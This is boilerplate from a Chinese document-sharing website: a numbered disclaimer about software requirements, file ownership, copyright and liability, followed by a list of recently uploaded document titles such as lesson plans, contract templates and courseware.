- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 智取威虎山观后感简短
- 1《老子》四章同步习题(含解析) 统编版高中语文选择性必修上册
- 《图登公司》课件
- 《瓯锐地产礼品提案》课件
- 高中语文第二专题第5课指南录后序教学案苏教版必修
- 第三单元 圆柱与圆锥 (单元测试) 六年级下册数学人教版
- 二零二四年度手机配件出口合同3篇
- Lesson7 On the School Bus(说课稿)-2024-2025学年冀教版(三起)英语六年级上册
- 2024年度旅游公司与景点运营合作合同2篇
- 钢管模板租赁费用分析与比较合同2024年度3篇
- 小学生校园文明礼仪教育课件
- 电缆绝缘电阻测试记录表格模板
- 2022年工程勘察设计收费管理规定
- DB44∕T 858-2011 空调器高处作业安全规范
- 实验室十大危险操作和安全隐患
- 01第三届北京市大学生模拟法庭竞赛第一轮赛题B
- Pixhawk飞控快速使用指南
- 铝合金模板工程水电精确定位施工工艺
- 红色大气乘风破浪开拓未来年会PPT模板课件
- 顺丰快递公司视觉识别VI手册(清晰电子版)
- 家庭教育讲座必备(课堂PPT)
评论
0/150
提交评论